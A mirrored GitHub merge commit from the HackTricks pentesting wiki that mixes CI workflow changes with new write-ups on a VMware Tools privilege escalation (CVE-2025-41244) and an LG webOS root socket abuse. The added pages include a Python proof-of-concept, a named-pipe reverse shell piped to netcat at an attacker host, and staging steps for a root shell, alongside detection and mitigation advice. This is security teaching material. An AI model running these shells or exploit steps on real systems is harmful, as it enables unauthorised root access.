mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' into research_update_src_pentesting-web_regular-expression-denial-of-service-redos_20251001_082618
This commit is contained in:
SirBroccoli
GitHub
commit
58ca1e4871
22
.github/workflows/build_master.yml
vendored
22
.github/workflows/build_master.yml
vendored
@ -67,13 +67,27 @@ jobs:
|
||||
export GH_TOKEN="$TOKEN"
|
||||
|
||||
# Delete the release if it exists
|
||||
if gh release view "$TAG" >/dev/null 2>&1; then
|
||||
echo "Checking if release $TAG exists..."
|
||||
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "Release $TAG already exists, deleting it..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
|
||||
echo "Failed to delete release, trying without cleanup-tag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Warning: Could not delete existing release, will try to recreate..."
|
||||
}
|
||||
}
|
||||
sleep 2 # Give GitHub API a moment to process the deletion
|
||||
else
|
||||
echo "Release $TAG does not exist, proceeding with creation..."
|
||||
fi
|
||||
|
||||
# Create new release
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
|
||||
# Create new release (with force flag to overwrite if deletion failed)
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
|
||||
echo "Failed to create release, trying with force flag..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
|
||||
sleep 2
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
|
||||
}
|
||||
|
||||
|
||||
# Login in AWs
|
||||
|
||||
2
.github/workflows/translate_all.yml
vendored
2
.github/workflows/translate_all.yml
vendored
@ -106,7 +106,7 @@ jobs:
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Files to translate:"
|
||||
echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
|
||||
cat /tmp/file_paths.txt
|
||||
echo ""
|
||||
echo ""
|
||||
|
||||
@ -1,139 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Script to resolve searchindex.js conflicts by accepting master branch version
|
||||
# This script is designed to handle merge conflicts that occur when PRs become
|
||||
# desynchronized due to the auto-generated searchindex.js file.
|
||||
#
|
||||
# The searchindex.js file is automatically generated by the build process and
|
||||
# frequently causes conflicts when multiple PRs are waiting to be merged.
|
||||
# This script automatically resolves those conflicts by accepting the master
|
||||
# branch version of the file.
|
||||
#
|
||||
# Usage: resolve_searchindex_conflicts.sh <pr_number> <head_branch> <base_branch>
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# Validate arguments
|
||||
if [ $# -ne 3 ]; then
|
||||
echo "Usage: $0 <pr_number> <head_branch> <base_branch>"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
PR_NUMBER="$1"
|
||||
HEAD_BRANCH="$2"
|
||||
BASE_BRANCH="$3"
|
||||
|
||||
# Validate required environment variables
|
||||
if [ -z "${GITHUB_REPOSITORY:-}" ]; then
|
||||
echo "Error: GITHUB_REPOSITORY environment variable is required"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ -z "${GH_TOKEN:-}" ]; then
|
||||
echo "Error: GH_TOKEN environment variable is required"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Resolving conflicts for PR #$PR_NUMBER (branch: $HEAD_BRANCH -> $BASE_BRANCH)"
|
||||
|
||||
# Get current directory for safety
|
||||
ORIGINAL_DIR=$(pwd)
|
||||
|
||||
# Create a temporary directory for the operation
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
echo "Working in temporary directory: $TEMP_DIR"
|
||||
|
||||
cleanup() {
|
||||
echo "Cleaning up..."
|
||||
cd "$ORIGINAL_DIR"
|
||||
rm -rf "$TEMP_DIR"
|
||||
}
|
||||
trap cleanup EXIT
|
||||
|
||||
# Clone the repository to the temp directory
|
||||
echo "Cloning repository..."
|
||||
cd "$TEMP_DIR"
|
||||
gh repo clone "$GITHUB_REPOSITORY" . --branch "$HEAD_BRANCH"
|
||||
|
||||
# Configure git
|
||||
git config user.email "action@github.com"
|
||||
git config user.name "GitHub Action"
|
||||
|
||||
# Fetch all branches
|
||||
git fetch origin
|
||||
|
||||
# Make sure we're on the correct branch
|
||||
git checkout "$HEAD_BRANCH"
|
||||
|
||||
# Try to merge the base branch
|
||||
echo "Attempting to merge $BASE_BRANCH into $HEAD_BRANCH..."
|
||||
if git merge "origin/$BASE_BRANCH" --no-edit; then
|
||||
echo "No conflicts found, merge successful"
|
||||
|
||||
# Push the updated branch
|
||||
echo "Pushing merged branch..."
|
||||
git push origin "$HEAD_BRANCH"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Check what files have conflicts
|
||||
echo "Checking for conflicts..."
|
||||
conflicted_files=$(git diff --name-only --diff-filter=U)
|
||||
echo "Conflicted files: $conflicted_files"
|
||||
|
||||
# Check if searchindex.js is the only conflict or if conflicts are only in acceptable files
|
||||
acceptable_conflicts=true
|
||||
searchindex_conflict=false
|
||||
|
||||
for file in $conflicted_files; do
|
||||
case "$file" in
|
||||
"searchindex.js")
|
||||
searchindex_conflict=true
|
||||
echo "Found searchindex.js conflict (acceptable)"
|
||||
;;
|
||||
*)
|
||||
echo "Found unacceptable conflict in: $file"
|
||||
acceptable_conflicts=false
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [ "$acceptable_conflicts" = false ]; then
|
||||
echo "Cannot auto-resolve: conflicts found in files other than searchindex.js"
|
||||
git merge --abort
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ "$searchindex_conflict" = false ]; then
|
||||
echo "No searchindex.js conflicts found, but merge failed for unknown reason"
|
||||
git merge --abort
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Resolving searchindex.js conflict by accepting $BASE_BRANCH version..."
|
||||
|
||||
# Accept the base branch version of searchindex.js (--theirs refers to the branch being merged in)
|
||||
git checkout --theirs searchindex.js
|
||||
git add searchindex.js
|
||||
|
||||
# Check if there are any other staged changes from the merge
|
||||
staged_files=$(git diff --cached --name-only || true)
|
||||
echo "Staged files after resolution: $staged_files"
|
||||
|
||||
# Complete the merge
|
||||
if git commit --no-edit; then
|
||||
echo "Successfully resolved merge conflicts"
|
||||
|
||||
# Push the updated branch
|
||||
echo "Pushing resolved branch..."
|
||||
if git push origin "$HEAD_BRANCH"; then
|
||||
echo "Successfully pushed resolved branch"
|
||||
exit 0
|
||||
else
|
||||
echo "Failed to push resolved branch"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
echo "Failed to commit merge resolution"
|
||||
exit 1
|
||||
fi
|
||||
@ -226,7 +226,7 @@ https://www.lasttowersolutions.com/
|
||||
|
||||
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
||||
|
||||
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||
|
||||
K8Studio IDE empowers DevOps, DevSecOps, and developers to manage, monitor, and secure Kubernetes clusters efficiently. Leverage our AI-driven insights, advanced security framework, and intuitive CloudMaps GUI to visualize your clusters, understand their state, and act with confidence.
|
||||
|
||||
@ -253,3 +253,4 @@ welcome/hacktricks-values-and-faq.md
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@ -110,6 +110,7 @@
|
||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||
- [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md)
|
||||
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
||||
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||
@ -949,4 +950,4 @@
|
||||
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
@ -124,3 +124,4 @@ Guidance: Treat survivors that affect value transfers, accounting, or access con
|
||||
- [Slither (GitHub)](https://github.com/crytic/slither)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@ -1723,6 +1723,16 @@ Android rooting frameworks commonly hook a syscall to expose privileged kernel f
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
|
||||
|
||||
Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path).
|
||||
|
||||
Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here:
|
||||
|
||||
{{#ref}}
|
||||
vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
|
||||
{{#endref}}
|
||||
|
||||
## Kernel Security Protections
|
||||
|
||||
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
|
||||
@ -1774,4 +1784,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV)
|
||||
- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@ -43,7 +43,47 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python
|
||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||
```
|
||||
|
||||
## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
||||
|
||||
Some privileged daemons expose a root-owned UNIX socket that accepts untrusted input and couples privileged actions to thread-IDs and signals. If the protocol lets an unprivileged client influence which native thread is targeted, you may be able to trigger a privileged code path and escalate.
|
||||
|
||||
Observed pattern:
|
||||
- Connect to a root-owned socket (e.g., /tmp/remotelogger).
|
||||
- Create a thread and obtain its native thread id (TID).
|
||||
- Send the TID (packed) plus padding as a request; receive an acknowledgement.
|
||||
- Deliver a specific signal to that TID to trigger the privileged behaviour.
|
||||
|
||||
Minimal PoC sketch:
|
||||
|
||||
```python
|
||||
import socket, struct, os, threading, time
|
||||
# Spawn a thread so we have a TID we can signal
|
||||
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
|
||||
tid = th.native_id # Python >=3.8
|
||||
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
s.connect("/tmp/remotelogger")
|
||||
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
|
||||
s.recv(4) # sync
|
||||
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
||||
```
|
||||
|
||||
To turn this into a root shell, a simple named-pipe + nc pattern can be used:
|
||||
|
||||
```bash
|
||||
rm -f /tmp/f; mkfifo /tmp/f
|
||||
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
||||
```
|
||||
|
||||
Notes:
|
||||
- This class of bugs arises from trusting values derived from unprivileged client state (TIDs) and binding them to privileged signal handlers or logic.
|
||||
- Harden by enforcing credentials on the socket, validating message formats, and decoupling privileged operations from externally supplied thread identifiers.
|
||||
|
||||
## References
|
||||
|
||||
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@ -0,0 +1,153 @@
|
||||
# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
This technique abuses regex-driven service discovery pipelines that parse running process command lines to infer service versions and then execute a candidate binary with a "version" flag. When permissive patterns accept untrusted, attacker-controlled paths (e.g., /tmp/httpd), the privileged collector executes an arbitrary binary from an untrusted location, yielding local privilege escalation. NVISO documented this in VMware Tools/Aria Operations Service Discovery as CVE-2025-41244.
|
||||
|
||||
- Impact: Local privilege escalation to root (or to the privileged discovery account)
|
||||
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
|
||||
- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
||||
|
||||
## How VMware service discovery works (high level)
|
||||
|
||||
- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials.
|
||||
- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest.
|
||||
|
||||
Both modes ultimately run shell logic that scans processes with listening sockets, extracts a matching command path via a regex, and executes the first argv token with a version flag.
|
||||
|
||||
## Root cause and vulnerable pattern (open-vm-tools)
|
||||
|
||||
In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation:
|
||||
|
||||
```bash
|
||||
get_version() {
|
||||
PATTERN=$1
|
||||
VERSION_OPTION=$2
|
||||
for p in $space_separated_pids
|
||||
do
|
||||
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
|
||||
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
|
||||
done
|
||||
}
|
||||
```
|
||||
|
||||
It is invoked with permissive patterns containing \S (non-whitespace) that will happily match non-system paths in user-writable locations:
|
||||
|
||||
```bash
|
||||
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
||||
get_version "/usr/(bin|sbin)/apache\S*" -v
|
||||
get_version "/\S+/mysqld($|\s)" -V
|
||||
get_version "\.?/\S*nginx($|\s)" -v
|
||||
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
|
||||
get_version "/\S+/dataserver($|\s)" -v
|
||||
```
|
||||
|
||||
- Extraction uses grep -Eo and takes the first token: ${COMMAND%%[[:space:]]*}
|
||||
- No whitelist/allowlist of trusted system paths; any discovered listener with a matching name is executed with -v/--version
|
||||
|
||||
This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
|
||||
|
||||
## Exploitation (both credential-less and credential-based modes)
|
||||
|
||||
Preconditions
|
||||
- You can run an unprivileged process that opens a listening socket on the guest.
|
||||
- The discovery job is enabled and runs periodically (historically ~5 minutes).
|
||||
|
||||
Steps
|
||||
1) Stage a binary in a path matching one of the permissive regexes, e.g. /tmp/httpd or ./nginx
|
||||
2) Run it as a low-privileged user and ensure it opens any listening socket
|
||||
3) Wait for the discovery cycle; the privileged collector will automatically execute: /tmp/httpd -v (or similar), running your program as root
|
||||
|
||||
Minimal demo (using NVISO’s approach)
|
||||
```bash
|
||||
# Build any small helper that:
|
||||
# - default mode: opens a dummy TCP listener
|
||||
# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
|
||||
# Example staging and trigger
|
||||
cp your_helper /tmp/httpd
|
||||
chmod +x /tmp/httpd
|
||||
/tmp/httpd # run as low-priv user and wait for the cycle
|
||||
# After the next cycle, expect a root shell or your privileged action
|
||||
```
|
||||
|
||||
Typical process lineage
|
||||
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
|
||||
Artifacts (credential-based)
|
||||
Recovered SDMP wrapper scripts under /tmp/VMware-SDMP-Scripts-{UUID}/ may show direct execution of the rogue path:
|
||||
```bash
|
||||
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
||||
```
|
||||
|
||||
## Generalizing the technique: regex-driven discovery abuse (portable pattern)
|
||||
|
||||
Many agents and monitoring suites implement version/service discovery by:
|
||||
- Enumerating processes with listening sockets
|
||||
- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
|
||||
- Executing the matched path with a benign flag like -v, --version, -V, -h
|
||||
|
||||
If the regex accepts untrusted paths and the path is executed from a privileged context, you get CWE-426 Untrusted Search Path execution.
|
||||
|
||||
Abuse recipe
|
||||
- Name your binary like common daemons that the regex is likely to match: httpd, nginx, mysqld, dataserver
|
||||
- Place it in a writable directory: /tmp/httpd, ./nginx
|
||||
- Ensure it matches the regex and opens any port to be enumerated
|
||||
- Wait for the scheduled collector; you get an automatic privileged invocation of <path> -v
|
||||
|
||||
Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
|
||||
|
||||
Reusable privileged I/O relay trick
|
||||
- Build your helper so that on privileged invocation (-v/--version) it connects to a known rendezvous (e.g., a Linux abstract UNIX socket like @cve) and bridges stdio to /bin/sh -i. This avoids on-disk artifacts and works across many environments where the same binary is re-invoked with a flag.
|
||||
|
||||
## Detection and DFIR guidance
|
||||
|
||||
Hunting queries
|
||||
- Uncommon children of vmtoolsd or get-versions.sh such as /tmp/httpd, ./nginx, /tmp/mysqld
|
||||
- Any execution of non-system absolute paths by discovery scripts (look for spaces in ${COMMAND%%...} expansions)
|
||||
- ps -ef --forest to visualize ancestry trees: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||
|
||||
On Aria SDMP (credential-based)
|
||||
- Inspect /tmp/VMware-SDMP-Scripts-{UUID}/ for transient scripts and stdout/stderr artifacts showing execution of attacker paths
|
||||
|
||||
Policy/telemetry
|
||||
- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/
|
||||
- File integrity monitoring on get-versions.sh and VMware Tools plugins
|
||||
|
||||
## Mitigations
|
||||
|
||||
- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
|
||||
- Disable or restrict credential-less discovery where feasible
|
||||
- Validate trusted paths: restrict execution to allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) and only exact known binaries
|
||||
- Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names
|
||||
- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact
|
||||
- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths
|
||||
|
||||
## Notes for defenders and implementers
|
||||
|
||||
Safer matching and execution pattern
|
||||
```bash
|
||||
# Bad: permissive regex and blind exec
|
||||
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
||||
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
|
||||
|
||||
# Good: strict allowlist + path checks
|
||||
candidate=$(get_command_line "$pid" | awk '{print $1}')
|
||||
case "$candidate" in
|
||||
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
|
||||
"$candidate" -v 2>&1 ;;
|
||||
*)
|
||||
: # ignore non-allowlisted paths
|
||||
;;
|
||||
esac
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
|
||||
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
|
||||
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -176,3 +176,4 @@ URL-encoded PoC (first char is a newline):
|
||||
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@ -20,7 +20,18 @@ msf> auxiliary/scanner/vmware/vmware_http_login
|
||||
If you find valid credentials, you can use more metasploit scanner modules to obtain information.
|
||||
|
||||
|
||||
|
||||
### See also
|
||||
|
||||
Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@ -744,6 +744,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
@ -760,3 +761,4 @@ EN-Local-File-Inclusion-1.pdf
|
||||
{{#endfile}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@ -409,3 +409,4 @@ Once you have **obtained a valid RT** you could try to **abuse it to generate se
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **How can I a page of HackTricks?**
|
||||
> - **How can I cite a page of HackTricks?**
|
||||
|
||||
As long as the link **of** the page(s) where you took the information from appears it's enough.\
|
||||
If you need a bibtex you can use something like:
|
||||
@ -144,3 +144,4 @@ This license does not grant any trademark or branding rights in relation to the
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@ -491,3 +491,4 @@
|
||||
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||
}
|
||||
})();
|
||||
|
||||
|
||||
@ -68,11 +68,11 @@
|
||||
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
|
||||
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
|
||||
|
||||
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
||||
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
||||
const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||
const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||
|
||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
|
||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
|
||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
|
||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
|
||||
|
||||
const indices = [];
|
||||
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
|
||||
@ -208,3 +208,4 @@
|
||||
listOut.classList.toggle('hidden',!docs.length);
|
||||
};
|
||||
})();
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user